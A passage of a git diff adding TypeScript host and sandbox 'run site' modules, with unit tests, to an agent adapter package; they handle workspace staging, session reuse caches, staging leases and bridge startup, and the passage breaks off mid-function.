+import type { AdapterExecutionContext } from "@paperclipai/adapter-utils";
+import type { AcpRuntime, AcpRuntimeHandle } from "acpx/runtime";
+import type {
+  AcpRunContext,
+  HostReuseCandidate,
+  PlacedWorkspace,
+  ReadyRunResources,
+  RunSiteTransport,
+  SessionReuseStore,
+  SitePlan,
+} from "./run-contracts.js";
+import { createSessionReuseStore } from "./session-reuse-store.js";
+
+/** The agent child's identity, as the runtime reports it on each spawn. */
+export type AcpxAgentProcessIdentity = { pid: number; startedAt: string };
+
+/**
+ * The mutable spawn-callback target and the last spawn identity a warm runtime
+ * carries across runs. A warm handle can outlive the run that created it, so the
+ * `current` callback stays mutable: a later heartbeat repoints it to its own
+ * `onSpawn`, and `latest` lets that heartbeat re-announce the running agent.
+ */
+export type AcpxProcessIdentitySink = {
+  current: AdapterExecutionContext["onSpawn"];
+  latest: AcpxAgentProcessIdentity | null;
+};
+
+/** The live-line buffer and log path a warm runtime's child stderr carries. */
+export interface ChildStderrState {
+  logPath: string | null;
+  pendingLiveLine: string;
+}
+
+/**
+ * One warm host runtime the store keeps for the next compatible resume. It is
+ * the value the host warm-handle map holds. The entry carries its own last-used
+ * time and its own optional idle timer, which the store reads and writes.
+ */
+export interface RuntimeCacheEntry {
+  runtime: AcpRuntime;
+  handle: AcpRuntimeHandle;
+  childStderrState: ChildStderrState;
+  processIdentitySink: AcpxProcessIdentitySink;
+  fingerprint: string;
+  lastUsedAt: number;
+  cleanupTimer?: ReturnType<typeof setTimeout>;
+}
+
+/** Construction options for the host site. */
+export interface HostRunSiteOptions {
+  /**
+   * The warm-handle map the store operates over. The engine owns it and reuses
+   * it across runs, so a saved runtime stays warm for the next resume.
+   */
+  readonly warmHandles: Map<string, RuntimeCacheEntry>;
+  readonly now: () => number;
+  /** The warm-idle bound, in milliseconds. `0` or less disables the store. */
+  readonly idleMs: number;
+  /**
+   * Close a warm runtime and flush its child stderr. The store fires it when the
+   * per-entry timer expires, when the run-start sweep evicts an idle entry, and
+   * on an explicit discard. The engine injects it, because the close reason and
+   * the stderr flush live in the engine module.
+   */
+  readonly closeWarmEntry: (entry: RuntimeCacheEntry) => Promise<void>;
+}
+
+/**
+ * The host run site. Its store keeps warm runtimes; every other operation is the
+ * null path the host lane always ran.
+ */
+export interface HostRunSite {
+  readonly kind: "host";
+  plan(context: AcpRunContext): SitePlan;
+  placeWorkspace(context: AcpRunContext): Promise<PlacedWorkspace>;
+  startTransport(context: AcpRunContext): Promise<RunSiteTransport>;
+  reuse(): SessionReuseStore<RuntimeCacheEntry>;
+  reuseCandidate(resources: ReadyRunResources): HostReuseCandidate;
+  syncBack(context: AcpRunContext): Promise<void>;
+}
+
+/** Create the host run site over the engine's warm-handle map. */
+export function createHostRunSite(options: HostRunSiteOptions): HostRunSite {
+  const store = createSessionReuseStore<RuntimeCacheEntry>({
+    entries: options.warmHandles,
+    now: options.now,
+    idleMs: options.idleMs,
+    lastUsedAt: (entry) => entry.lastUsedAt,
+    getTimer: (entry) => entry.cleanupTimer,
+    setTimer: (entry, timer) => {
+      entry.cleanupTimer = timer;
+    },
+    // The host lane arms a per-entry idle timer on every warm save, so an idle
+    // runtime closes on its own without a later run.
+    perEntryTimer: true,
+    release: (entry) => options.closeWarmEntry(entry),
+  });
+
+  return {
+    kind: "host",
+    plan(context: AcpRunContext): SitePlan {
+      // The host binds the session to the run cwd. There is no relay-proxy spawn
+      // cwd off the host, and the host emits no sandbox trace spans.
+      return {
+        sessionCwd: context.fingerprintIdentity.cwd,
+        spawnCwd: undefined,
+        tracingEnabled: false,
+      };
+    },
+    async placeWorkspace(): Promise<PlacedWorkspace> {
+      // The host runs in place, so it stages nothing and reports no referenced-
+      // project staging failure.
+      return { referencedProjectStagingFailures: [] };
+    },
+    async startTransport(): Promise<RunSiteTransport> {
+      // The host lane starts no control bridge and no agent bridge.
+      return { controlBridge: null, agentBridge: null };
+    },
+    reuse(): SessionReuseStore<RuntimeCacheEntry> {
+      return store;
+    },
+    reuseCandidate(resources: ReadyRunResources): HostReuseCandidate {
+      const runtime = resources.get("acp_runtime");
+      if (!runtime) {
+        throw new Error("host run site cannot name a reuse candidate without an acp_runtime resource");
+      }
+      return { runtime: runtime.runtime, sessionHandle: runtime.sessionHandle };
+    },
+    async syncBack(): Promise<void> {
+      // The host runs in place, so there is nothing to sync back.
+    },
+  };
+}
diff --git a/packages/adapter-utils/src/acpx-engine/run-site-sandbox.test.ts b/packages/adapter-utils/src/acpx-engine/run-site-sandbox.test.ts
new file mode 100644
index 00000000000..426a3342761
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/run-site-sandbox.test.ts
@@ -0,0 +1,314 @@
+// Tests for the sandbox run site (Phase 19).
+//
+// The sandbox site owns staging, the staging lease, both bridges, the launch-
+// environment contribution, and sync-back. These tests drive the site in
+// isolation with fakes: they pin the ledger registrations, the bridge overlap and
+// the callback-environment sequencing point, the staged-files reuse (which still
+// creates the runtime), the synchronous plan, and Amendment B — no run-scoped
+// contribution or bridge token escapes into the ledger or the reuse payload.
+
+import { describe, expect, it } from "vitest";
+import {
+  createSandboxRunSite,
+  type ManagedHomeSeamResult,
+  type SandboxRunSiteOptions,
+  type StagedRuntimeStoreEntry,
+} from "./run-site-sandbox.js";
+import type {
+  AcpRunContext,
+  AcquiredRunResources,
+  LaunchEnvironmentContribution,
+  ReadyRunResources,
+  ResourceId,
+  RunResourceRegistration,
+  SandboxReuseCandidate,
+  StagedRuntimeResource,
+} from "./run-contracts.js";
+import type { PreparedAdapterExecutionTargetRuntime } from "@paperclipai/adapter-utils/execution-target";
+
+function makeStagedRuntime(id: string): PreparedAdapterExecutionTargetRuntime {
+  return {
+    runtimeRootDir: `/remote/${id}/.paperclip-runtime/acpx`,
+    additionalSourceDirs: {},
+    additionalSourceFailures: [],
+  } as unknown as PreparedAdapterExecutionTargetRuntime;
+}
+
+function makeLedger(): { ledger: AcquiredRunResources; registered: RunResourceRegistration[] } {
+  const registered: RunResourceRegistration[] = [];
+  const ledger: AcquiredRunResources = {
+    register(registration) {
+      registered.push(registration as RunResourceRegistration);
+    },
+    seal() {
+      throw new Error("seal is not exercised by these unit tests");
+    },
+    takeForSettlement() {
+      throw new Error("takeForSettlement is not exercised by these unit tests");
+    },
+  };
+  return { ledger, registered };
+}
+
+function makeContext(sessionKey: string): AcpRunContext {
+  return { sessionKey } as unknown as AcpRunContext;
+}
+
+/** Build a site over injectable fakes. Every option has a sensible default. */
+function makeSite(overrides: Partial<SandboxRunSiteOptions> = {}) {
+  const { ledger, registered } = makeLedger();
+  const env: Record<string, string> = { BASE: "1" };
+  const stagedRuntimes = new Map<string, StagedRuntimeStoreEntry>();
+  const stagingLocks = new Map<string, Promise<unknown>>();
+  const freshStaged = makeStagedRuntime("fresh");
+  const bridgeCalls: string[] = [];
+  const options: SandboxRunSiteOptions = {
+    ledger,
+    stagedRuntimes,
+    stagingLocks,
+    now: () => 1000,
+    idleMs: 60_000,
+    sessionCwd: "/remote/workspace",
+    spawnCwd: "/host/workspace",
+    target: { kind: "remote" } as unknown as SandboxRunSiteOptions["target"],
+    env,
+    isCompatibleResume: false,
+    stage: async () => freshStaged,
+    seedManagedHome: async (stage) => {
+      const stagedRuntime = await stage([]);
+      // Repoint a managed-home env var, so the site captures the delta.
+      env.CODEX_HOME = "/remote/home";
+      return { stagedRuntime, teardown: async () => {}, dispose: async () => {} } satisfies ManagedHomeSeamResult;
+    },
+    disposeFreshStagedRuntime: async () => {},
+    measureStageStep: (run) => run(),
+    publishStagedProjectHints: () => {},
+    onReuseLog: async () => {},
+    startPaperclipBridge: async () => {
+      bridgeCalls.push("paperclip:start");
+      return { env: { PAPERCLIP_API_KEY: "run-token" }, stop: async () => {} } as never;
+    },
+    startProcessSessionBridge: async ({ launchEnv }) => {
+      bridgeCalls.push("process-session:start");
+      await launchEnv();
+      return { agentCommand: null, stop: async () => {} } as never;
+    },
+    measureBridgeStep: (_step, run) => run(),
+    finalizeLaunchEnv: (contributions) => {
+      const merged = { ...env };
+      for (const contribution of contributions) Object.assign(merged, contribution.env);
+      return merged;
+    },
+    onPaperclipBridgeLog: async () => {},
+    stopBridges: async () => {},
+    ...overrides,
+  };
+  const site = createSandboxRunSite(options);
+  return { site, ledger, registered, env, stagedRuntimes, stagingLocks, freshStaged, bridgeCalls, options };
+}
+
+/** A minimal `ReadyRunResources` that resolves a single staged runtime. */
+function makeReady(stagedRuntime: PreparedAdapterExecutionTargetRuntime): ReadyRunResources {
+  const staged: StagedRuntimeResource = { stagedRuntime, disposeStaged: async () => {} };
+  return {
+    get: (id: ResourceId) => (id === "staged_runtime" ? staged : undefined),
+    scopeOf: () => undefined,
+    has: (id: ResourceId) => id === "staged_runtime",
+    sealed: ["staged_runtime"],
+  } as unknown as ReadyRunResources;
+}
+
+describe("sandbox run site", () => {
+  it("test_sandbox_site_registers_staging_bridges_and_lease_in_ledger", async () => {
+    const { site, registered } = makeSite();
+    await site.placeWorkspace(makeContext("paperclip:c:a:t:fp"));
+    await site.startTransport(makeContext("paperclip:c:a:t:fp"));
+
+    const byId = new Set(registered.map((entry) => entry.id));
+    // Staging registers the staged runtime, the managed-home copy-back, and the
+    // per-session staging lease. Both bridge starts register their handles.
+    expect(byId).toEqual(
+      new Set<ResourceId>(["staged_runtime", "managed_home", "staging_lease", "control_bridge", "agent_bridge"]),
+    );
+    // The staged runtime is startup-rollback until a clean turn promotes it; the
+    // copy-back, the lease, and the bridges live through the whole run.
+    const scopeOf = (id: ResourceId) => registered.find((entry) => entry.id === id)?.scope;
+    expect(scopeOf("staged_runtime")).toBe("startup_rollback");
+    expect(scopeOf("managed_home")).toBe("per_run");
+    expect(scopeOf("staging_lease")).toBe("per_run");
+    expect(scopeOf("control_bridge")).toBe("per_run");
+    expect(scopeOf("agent_bridge")).toBe("per_run");
+  });
+
+  it("test_sandbox_site_place_workspace_carries_referenced_project_failure_reason", async () => {
+    // A referenced project that fails to stage carries its failure reason back on
+    // the placed-workspace result, so a reader of the run learns why it dropped.
+    const failedStaged = {
+      runtimeRootDir: "/remote/fail/.paperclip-runtime/acpx",
+      additionalSourceDirs: {},
+      additionalSourceFailures: [{ projectId: "proj-x", error: "extract failed: boom" }],
+    } as unknown as PreparedAdapterExecutionTargetRuntime;
+    const { site } = makeSite({ stage: async () => failedStaged });
+
+    const placed = await site.placeWorkspace(makeContext("s"));
+
+    expect(placed).toEqual({
+      referencedProjectStagingFailures: [{ projectId: "proj-x", error: "extract failed: boom" }],
+    });
+  });
+
+  it("test_sandbox_site_preserves_bridge_overlap_and_callback_sequencing", async () => {
+    const events: string[] = [];
+    let releasePaperclip!: () => void;
+    const paperclipGate = new Promise<void>((resolve) => {
+      releasePaperclip = resolve;
+    });
+    let processLaunchEnv: Record<string, string> | null = null;
+    const { site } = makeSite({
+      startPaperclipBridge: async () => {
+        events.push("paperclip:start");
+        await paperclipGate;
+        events.push("paperclip:env-ready");
+        return { env: { PAPERCLIP_API_KEY: "run-token" }, stop: async () => {} } as never;
+      },
+      startProcessSessionBridge: async ({ launchEnv }) => {
+        events.push("process-session:start");
+        // The launch awaits the sequencing point, so it observes the merged env.
+        processLaunchEnv = await launchEnv();
+        events.push("process-session:launch");
+        return { agentCommand: null, stop: async () => {} } as never;
+      },
+    });
+
+    await site.placeWorkspace(makeContext("s"));
+    const transportPromise = site.startTransport(makeContext("s"));
+    // Both bridges start before the paperclip env resolves: their setup overlaps.
+    await Promise.resolve();
+    await Promise.resolve();
+    expect(events).toContain("paperclip:start");
+    expect(events).toContain("process-session:start");
+    expect(events).not.toContain("process-session:launch");
+
+    // Release the paperclip env; the process-session launch now observes the
+    // merged run-scoped env (the single sequencing point).
+    releasePaperclip();
+    const transport = await transportPromise;
+    expect(events.indexOf("paperclip:env-ready")).toBeLessThan(events.indexOf("process-session:launch"));
+    expect(processLaunchEnv).toEqual({ BASE: "1", CODEX_HOME: "/remote/home", PAPERCLIP_API_KEY: "run-token" });
+    expect(transport.launchEnv).toEqual(processLaunchEnv);
+  });
+
+  it("test_sandbox_site_session_new_starts_only_after_the_sync_barrier_settles", async () => {
+    // The staging step wraps the inbound sync coordinator. Hold it open with a
+    // gate, so the sync barrier stays unsettled. `placeWorkspace` awaits staging,
+    // so it stays pending while the gate is held.
+    let releaseStaging!: () => void;
+    const stagingGate = new Promise<void>((resolve) => {
+      releaseStaging = resolve;
+    });
+    const freshStaged = makeStagedRuntime("fresh");
+    const { site, bridgeCalls } = makeSite({
+      stage: async () => {
+        await stagingGate;
+        return freshStaged;
+      },
+    });
+
+    // Drive the real run order: the engine awaits `placeWorkspace`, then starts the
+    // transport. `startProcessSessionBridge` models the ACP `session/new` startup.
+    let placed = false;
+    const run = (async () => {
+      await site.placeWorkspace(makeContext("s"));
+      placed = true;
+      await site.startTransport(makeContext("s"));
+    })();
+    run.catch(() => undefined);
+
+    // The sync barrier is still open, so `placeWorkspace` has not resolved and the
+    // process-session bridge that starts `session/new` has not started.
+    await new Promise<void>((resolve) => setTimeout(resolve, 50));
+    expect(placed).toBe(false);
+    expect(bridgeCalls).not.toContain("process-session:start");
+
+    // Settle the sync barrier. `placeWorkspace` resolves, then the transport starts
+    // `session/new`.
+    releaseStaging();
+    await run;
+    expect(placed).toBe(true);
+    expect(bridgeCalls).toContain("process-session:start");
+  });
+
+  it("test_sandbox_site_borrow_yields_files_and_runtime_is_still_created", async () => {
+    const cachedRuntime = makeStagedRuntime("cached");
+    const stagedRuntimes = new Map<string, StagedRuntimeStoreEntry>([
+      [
+        "paperclip:c:a:t:fp",
+        {
+          stagedRuntime: cachedRuntime,
+          envDelta: { CODEX_HOME: "/remote/home" },
+          teardown: async () => {},
+          dispose: async () => {},
+          lastUsedAt: 500,
+        },
+      ],
+    ]);
+    const { site, env } = makeSite({ stagedRuntimes, isCompatibleResume: true });
+
+    // A borrow reads the staged entry without removal, so an overlapping run of
+    // the same session still reads it.
+    const borrowed = site.reuse().borrow("paperclip:c:a:t:fp");
+    expect(borrowed?.stagedRuntime).toBe(cachedRuntime);
+    expect(stagedRuntimes.has("paperclip:c:a:t:fp")).toBe(true);
+
+    // A reuse hit yields the staged FILES (not a live runtime): `placeWorkspace`
+    // reports `reused` and re-applies the seam env delta, and the reuse candidate
+    // names the staged files only. So the run still creates the runtime and runs
+    // the handshake against the reused files.
+    await site.placeWorkspace(makeContext("paperclip:c:a:t:fp"));
+    expect(site.staged?.reused).toBe(true);
+    expect(site.staged?.stagedRuntime).toBe(cachedRuntime);
+    expect(env.CODEX_HOME).toBe("/remote/home");
+    const candidate: SandboxReuseCandidate = site.reuseCandidate(makeReady(cachedRuntime));
+    expect(candidate).toEqual({ stagedRuntime: cachedRuntime });
+    expect("runtime" in candidate).toBe(false);
+    expect("sessionHandle" in candidate).toBe(false);
+  });
+
+  it("test_site_plan_supplies_session_cwd_spawn_cwd_and_tracing_before_the_fingerprint_build", () => {
+    const { site } = makeSite();
+    // `plan()` is synchronous and reads no staged state, so it runs before the
+    // fingerprint build. It binds the session to the in-sandbox cwd, redirects the
+    // relay-proxy spawn to the host cwd, and enables sandbox tracing.
+    expect(site.plan(makeContext("s"))).toEqual({
+      sessionCwd: "/remote/workspace",
+      spawnCwd: "/host/workspace",
+      tracingEnabled: true,
+    });
+  });
+
+  it("test_bridge_contribution_is_not_retained_by_site_ledger_or_reuse_payload", async () => {
+    const { site, registered } = makeSite();
+    await site.placeWorkspace(makeContext("s"));
+    const transport = await site.startTransport(makeContext("s"));
+
+    // The ledger holds the bridge HANDLES, never the run-scoped token env.
+    const control = registered.find((entry) => entry.id === "control_bridge");
+    expect(control?.payload).toBe(transport.controlBridge);
+    // The staged reuse payload carries the staged files only — no credential
+    // material and no bridge token.
+    const candidate = site.reuseCandidate(makeReady(site.staged!.stagedRuntime));
+    expect(Object.keys(candidate)).toEqual(["stagedRuntime"]);
+
+    // Compile-time (Amendment B): a run-scoped contribution is not assignable to
+    // the staged reuse payload. This function never runs; the assertion holds at
+    // typecheck only. A runtime call on a synthetic value would crash.
+    // eslint-disable-next-line @typescript-eslint/no-unused-vars
+    function _staged_reuse_payload_rejects_a_run_scoped_contribution(
+      contribution: LaunchEnvironmentContribution,
+    ): void {
+      // @ts-expect-error a launch-environment contribution is not a staged reuse payload
+      const payload: SandboxReuseCandidate = contribution;
+      void payload;
+    }
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/run-site-sandbox.ts b/packages/adapter-utils/src/acpx-engine/run-site-sandbox.ts
new file mode 100644
index 00000000000..4f85022607d
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/run-site-sandbox.ts
@@ -0,0 +1,459 @@
+// The sandbox run site.
+//
+// The sandbox site runs the agent in a remote runner. It owns the four concerns
+// the host site never has: it stages the workspace and the managed home into the
+// sandbox, it holds the per-session staging lease, it starts both host-side
+// bridges, and it syncs the managed home back on teardown. Its store keeps the
+// staged files warm across runs of the same session, so a compatible resume
+// reuses the already-staged in-sandbox runtime instead of re-shipping.
+//
+// The site owns the orchestration and the policy: the staging lease, the reuse
+// and stale decision, the ledger registrations, the launch-environment envelope,
+// the bridge overlap, and the single callback-environment sequencing point. The
+// engine injects the leaf input/output primitives — the workspace stage call, the
+// managed-home seam, the two bridge starts, and the step timer — so this module
+// stays free of the engine's private staging helpers and the unit tests drive it
+// with fakes.
+//
+// Amendment B (credential scope): `startTransport` builds the run-scoped bridge
+// contribution and hands it to the injected `finalizeLaunchEnv`, the sole
+// consumer of a contribution. The site, its ledger entries, and its reuse
+// candidate never retain a run-scoped contribution or a bridge token. The staged
+// reuse payload carries the staged files only.
+
+import type {
+  AdapterExecutionTarget,
+  AdapterExecutionTargetPaperclipBridgeHandle,
+  AdapterExecutionTargetProcessSessionBridgeHandle,
+  AdapterManagedRuntimeAsset,
+  PreparedAdapterExecutionTargetRuntime,
+} from "@paperclipai/adapter-utils/execution-target";
+import type {
+  AcpRunContext,
+  AcquiredRunResources,
+  LaunchEnvironmentContribution,
+  PlacedWorkspace,
+  ReadyRunResources,
+  RunScopedContribution,
+  RunSiteTransport,
+  SandboxReuseCandidate,
+  SessionReuseStore,
+  SitePlan,
+} from "./run-contracts.js";
+import { createSessionReuseStore } from "./session-reuse-store.js";
+
+/**
+ * One staged in-sandbox runtime the store keeps for the next compatible resume.
+ * It is the value the staged-runtime map holds. The engine still owns this shape;
+ * the store reads its `lastUsedAt` and its `dispose` through the config
+ * accessors. The staged cache has no per-entry idle timer, so the entry carries
+ * none — the run-start sweep is the only eviction path.
+ */
+export interface StagedRuntimeStoreEntry {
+  stagedRuntime: PreparedAdapterExecutionTargetRuntime;
+  envDelta: Record<string, string>;
+  teardown: (() => Promise<void>) | null;
+  dispose: (() => Promise<void>) | null;
+  lastUsedAt: number;
+}
+
+/**
+ * The result of one workspace stage into the sandbox. The site records these
+ * fields on the run and, after a clean turn, into the staged store.
+ */
+export interface StagedWorkspace {
+  readonly stagedRuntime: PreparedAdapterExecutionTargetRuntime;
+  readonly teardown: (() => Promise<void>) | null;
+  readonly dispose: (() => Promise<void>) | null;
+  readonly envDelta: Record<string, string>;
+  /** True when the run reused an already-staged runtime rather than staging fresh. */
+  readonly reused: boolean;
+}
+
+/** The leaf staging primitive the engine injects. It ships one asset set. */
+export type StageWorkspace = (assets: AdapterManagedRuntimeAsset[]) => Promise<PreparedAdapterExecutionTargetRuntime>;
+
+/**
+ * The managed-home seam result, in the shape the site consumes. The engine maps
+ * its adapter seam onto this before it passes the seam in.
+ */
+export interface ManagedHomeSeamResult {
+  readonly stagedRuntime: PreparedAdapterExecutionTargetRuntime;
+  readonly teardown: (() => Promise<void>) | null;
+  readonly dispose: (() => Promise<void>) | null;
+}
+
+/** The construction options for the sandbox site. Every value is per run. */
+export interface SandboxRunSiteOptions {
+  /** The run ledger. `executeAcpxEngine` creates it and passes it in (one ledger). */
+  readonly ledger: AcquiredRunResources;
+  /** The staged-runtime map the store operates over. The engine owns it across runs. */
+  readonly stagedRuntimes: Map<string, StagedRuntimeStoreEntry>;
+  /** The per-key staging mutex the lease and the sweep share. */
+  readonly stagingLocks: Map<string, Promise<unknown>>;
+  readonly now: () => number;
+  /** The staged-idle bound, in milliseconds. `0` or less disables the sweep. */
+  readonly idleMs: number;
+  /** The in-sandbox workspace dir the session binds to (a fingerprint input). */
+  readonly sessionCwd: string;
+  /** The host spawn cwd for the relay proxy on the remote process-session lane. */
+  readonly spawnCwd: string;
+  /** The remote runner-backed sandbox target. */
+  readonly target: AdapterExecutionTarget;
+  /**
+   * The run env the site mutates in place. Staging repoints the managed-home env
+   * var onto the in-sandbox home here, and the site captures the delta from it.
+   */
+  readonly env: Record<string, string>;
+  /**
+   * True when the supplied session params resume THIS staged session. Only a
+   * compatible resume may reuse the already-staged runtime.
+   */
+  readonly isCompatibleResume: boolean;
+  /** Ship the workspace (and, via the seam, the managed home) into the sandbox. */
+  readonly stage: StageWorkspace;
+  /**
+   * Seed the managed home through `stage`, repoint the home env var, and wire the
+   * per-run copy-back. Absent for custom agents and the shared-engine tests, where
+   * the site stages the workspace with no home asset.
+   */
+  readonly seedManagedHome?: (stage: StageWorkspace) => Promise<ManagedHomeSeamResult>;
+  /**
+   * Remove a freshly staged in-sandbox runtime after the seam threw. The site
+   * fires it when the seam fails after a successful stage.
+   */
+  readonly disposeFreshStagedRuntime: (stagedRuntime: PreparedAdapterExecutionTargetRuntime) => Promise<void>;
+  /** Wrap the `stage.sync` step in the run's startup step timer. */
+  readonly measureStageStep: <T>(run: () => Promise<T>) => Promise<T>;
+  /** Publish the referenced-project workspace hints after a fresh stage. */
+  readonly publishStagedProjectHints: (stagedProjectDirs: Record<string, string>) => void;
+  readonly onReuseLog: () => Promise<void>;
+
+  /** Start the host-side paperclip callback bridge. */
+  readonly startPaperclipBridge: (
+    runtimeRootDir: string | null,
+  ) => Promise<AdapterExecutionTargetPaperclipBridgeHandle | null>;
+  /** Start the host-side process-session bridge with a deferred launch env. */
+  readonly startProcessSessionBridge: (input: {
+    runtimeRootDir: string | null;
+    launchEnv: () => Promise<Record<string, string>>;
+  }) => Promise<AdapterExecutionTargetProcessSessionBridgeHandle | null>;
+  /** Wrap each concurrent bridge start in the run's startup step timer. */
+  readonly measureBridgeStep: <T>(step: "bridge.paperclip" | "bridge.process-session", run: () => Promise<T>) => Promise<T>;
+  /**
+   * Finalize the run's branded launch environment from the bridge contribution.
+   * The engine owns `finalizeLaunchEnvironment`, so it stays the sole consumer of
+   * a contribution; the site calls this capability at the sequencing point.
+   */
+  readonly finalizeLaunchEnv: (contributions: readonly LaunchEnvironmentContribution[]) => Record<string, string>;
+  readonly onPaperclipBridgeLog: () => Promise<void>;
+
+  /** Stop both bridges and run the managed-home copy-back on teardown. */
+  readonly stopBridges: (input: {
+    controlBridge: AdapterExecutionTargetPaperclipBridgeHandle | null;
+    agentBridge: AdapterExecutionTargetProcessSessionBridgeHandle | null;
+  }) => Promise<void>;
+}
+
+/** The transport the sandbox site started, plus the run-scoped launch env. */
+export interface SandboxRunSiteTransport extends RunSiteTransport {
+  /** The finalized launch env for the process launch. */
+  readonly launchEnv: Record<string, string>;
+}
+
+/** The sandbox run site. It owns staging, the lease, both bridges, and sync-back. */
+export interface SandboxRunSite {
+  readonly kind: "sandbox";
+  plan(context: AcpRunContext): SitePlan;
+  placeWorkspace(context: AcpRunContext): Promise<PlacedWorkspace>;
+  startTransport(context: AcpRunContext): Promise<SandboxRunSiteTransport>;
+  reuse(): SessionReuseStore<StagedRuntimeStoreEntry>;
+  reuseCandidate(resources: ReadyRunResources): SandboxReuseCandidate;
+  syncBack(context: AcpRunContext): Promise<void>;
+  /** The staged workspace the run installed or reused, or null before `placeWorkspace`. */
+  readonly staged: StagedWorkspace | null;
+  /**
+   * The paperclip callback bridge the run started, or null before
+   * `startTransport` or on the host lane. `startTransport` sets it before it
+   * rethrows a partial-bring-up failure, so an abandon path can stop the bridge
+   * that started when its sibling threw.
+   */
+  readonly controlBridge: AdapterExecutionTargetPaperclipBridgeHandle | null;
+  /** The process-session bridge the run started, or null before `startTransport`. */
+  readonly agentBridge: AdapterExecutionTargetProcessSessionBridgeHandle | null;
+  /**
+   * Release the per-session staging lease `placeWorkspace` acquired, or null
+   * before `placeWorkspace`. An abandon path calls it to free the lease when the
+   * run never reaches sync-back.
+   */
+  readonly stagingLeaseRelease: (() => void) | null;
+}
+
+/** Create the sandbox run site over the engine's staged-runtime map and ledger. */
+export function createSandboxRunSite(options: SandboxRunSiteOptions): SandboxRunSite {
+  const store = createSessionReuseStore<StagedRuntimeStoreEntry>({
+    entries: options.stagedRuntimes,
+    now: options.now,
+    idleMs: options.idleMs,
+    lastUsedAt: (entry) => entry.lastUsedAt,
+    // The staged cache arms no per-entry timer; the run-start sweep is the only
+    // eviction path, and it runs under the per-key staging lease.
+    release: async (entry) => {
+      if (entry.dispose) await entry.dispose().catch(() => {});
+    },
+    withEvictLease: async (key, critical) => {
+      const lease = await withStagingLease(options.stagingLocks, key, critical);
+      lease.release();
+    },
+  });
+
+  // The lease the run holds from the stage-or-reuse decision through the active
+  // turn until `syncBack` releases it. Held on the run, not on the store, because
+  // a run keeps its lease across its whole lifetime.
+  let leaseRelease: (() => void) | null = null;
+  let staged: StagedWorkspace | null = null;
+  let controlBridge: AdapterExecutionTargetPaperclipBridgeHandle | null = null;
+  let agentBridge: AdapterExecutionTargetProcessSessionBridgeHandle | null = null;
+
+  return {
+    kind: "sandbox",
+
+    plan(): SitePlan {
+      // The sandbox binds the session to the in-sandbox workspace dir, redirects
+      // the relay proxy spawn to the host cwd, and emits real sandbox trace spans.
+      return {
+        sessionCwd: options.sessionCwd,
+        spawnCwd: options.spawnCwd,
+        tracingEnabled: true,
+      };
+    },
+
+    async placeWorkspace(context: AcpRunContext): Promise<PlacedWorkspace> {
+      const sessionKey = context.sessionKey;
+      const lease = await withStagingLease(options.stagingLocks, sessionKey, async (): Promise<StagedWorkspace> => {
+        const cached = options.isCompatibleResume ? store.borrow(sessionKey) : undefined;
+        if (cached) {
+          // Reuse the already-staged in-sandbox workspace and managed home.
+          // Re-apply the env keys the seam repointed and reuse the per-run
+          // copy-back so the copy-back cadence stays exactly per run.
+          Object.assign(options.env, cached.envDelta);
+          cached.lastUsedAt = options.now();
+          await options.onReuseLog();
+          return {
+            stagedRuntime: cached.stagedRuntime,
+            teardown: cached.teardown,
+            dispose: cached.dispose,
+            envDelta: cached.envDelta,
+            reused: true,
+          };
+        }
+        // Not a compatible resume: stage fresh. Drop and dispose a stale entry
+        // that collides on this key first, so a fresh stage neither reuses nor
+        // leaks it.
+        const stale = options.stagedRuntimes.get(sessionKey);
+        if (stale) {
+          options.stagedRuntimes.delete(sessionKey);
+          if (stale.dispose) await stale.dispose().catch(() => {});
+        }
+        const envBeforeStage = { ...options.env };
+        let freshlyStaged: PreparedAdapterExecutionTargetRuntime | null = null;
+        const stage: StageWorkspace = async (assets) => {
+          const result = await options.stage(assets);
+          freshlyStaged = result;
+          return result;
+        };
+        const seam = await options.measureStageStep(async (): Promise<ManagedHomeSeamResult> => {
+          if (options.seedManagedHome) {
+            try {
+              return await options.seedManagedHome(stage);
+            } catch (seamErr) {
+              // The seam threw after a possible successful stage. Dispose the fresh
+              // staged runtime so the abandoned in-sandbox managed home never leaks,
+              // then rethrow the seam error.
+              if (freshlyStaged) await options.disposeFreshStagedRuntime(freshlyStaged);
+              throw seamErr;
+            }
+          }
+          return { stagedRuntime: await stage([]), teardown: null, dispose: null };
+        });
+        const envDelta: Record<string, string> = {};
+        for (const [key, value] of Object.entries(options.env)) {
+          if (envBeforeStage[key] !== value) envDelta[key] = value;
+        }
+        return {
+          stagedRuntime: seam.stagedRuntime,
+          teardown: seam.teardown,
+          dispose: seam.dispose,
+          envDelta,
+          reused: false,
+        };
+      });
+      leaseRelease = lease.release;
+      staged = lease.value;
+      // Publish the referenced-project workspace hints (known only after staging).
+      const stagedProjectDirs = staged.stagedRuntime.additionalSourceDirs ?? {};
+      if (Object.keys(stagedProjectDirs).length > 0) {
+        options.publishStagedProjectHints(stagedProjectDirs);
+      }
+      // Register the acquired resources into the ledger. A per-run copy-back and a
+      // staging lease live through the whole run; the staged runtime is
+      // startup-rollback until a clean turn promotes it.
+      options.ledger.register({
+        id: "staged_runtime",
+        payload: { stagedRuntime: staged.stagedRuntime, disposeStaged: staged.dispose ?? (async () => {}) },
+        scope: "startup_rollback",
+      });
+      if (staged.teardown) {
+        options.ledger.register({
+          id: "managed_home",
+          payload: { teardown: staged.teardown, envDelta: staged.envDelta },
+          scope: "per_run",
+        });
+      }
+      if (leaseRelease) {
+        const release = leaseRelease;
+        options.ledger.register({
+          id: "staging_lease",
+          payload: { release },
+          scope: "per_run",
+        });
+      }
+      return {
+        referencedProjectStagingFailures: (staged.stagedRuntime.additionalSourceFailures ?? []).map(
+          (failure) => ({ projectId: failure.projectId, error: failure.error }),
+        ),
+      };
+    },
+
+    async startTransport(): Promise<SandboxRunSiteTransport> {
+      // Bring up both host-side bridges concurrently. Their remote subtrees are
+      // disjoint, so their env-independent setup overlaps. The one real
+      // dependency — the paperclip bridge's returned env must reach the
+      // process-session launch — is sequenced by `launchEnv`, a memoized thunk the
+      // process-session bridge awaits right before its launch.
+      const stagedRootDir = staged?.stagedRuntime.runtimeRootDir ?? null;
+      const paperclipStart = options.measureBridgeStep("bridge.paperclip", () =>
+        options.startPaperclipBridge(stagedRootDir),
+      );
+      // The single sequencing point (paperclip env → process-session launch),
+      // memoized so the merge runs exactly once whether the process-session bridge
+      // consumes it at launch or `startTransport` finalizes it below.
+      let launchEnvPromise: Promise<Record<string, string>> | null = null;
+      let launchEnv: Record<string, string> = {};
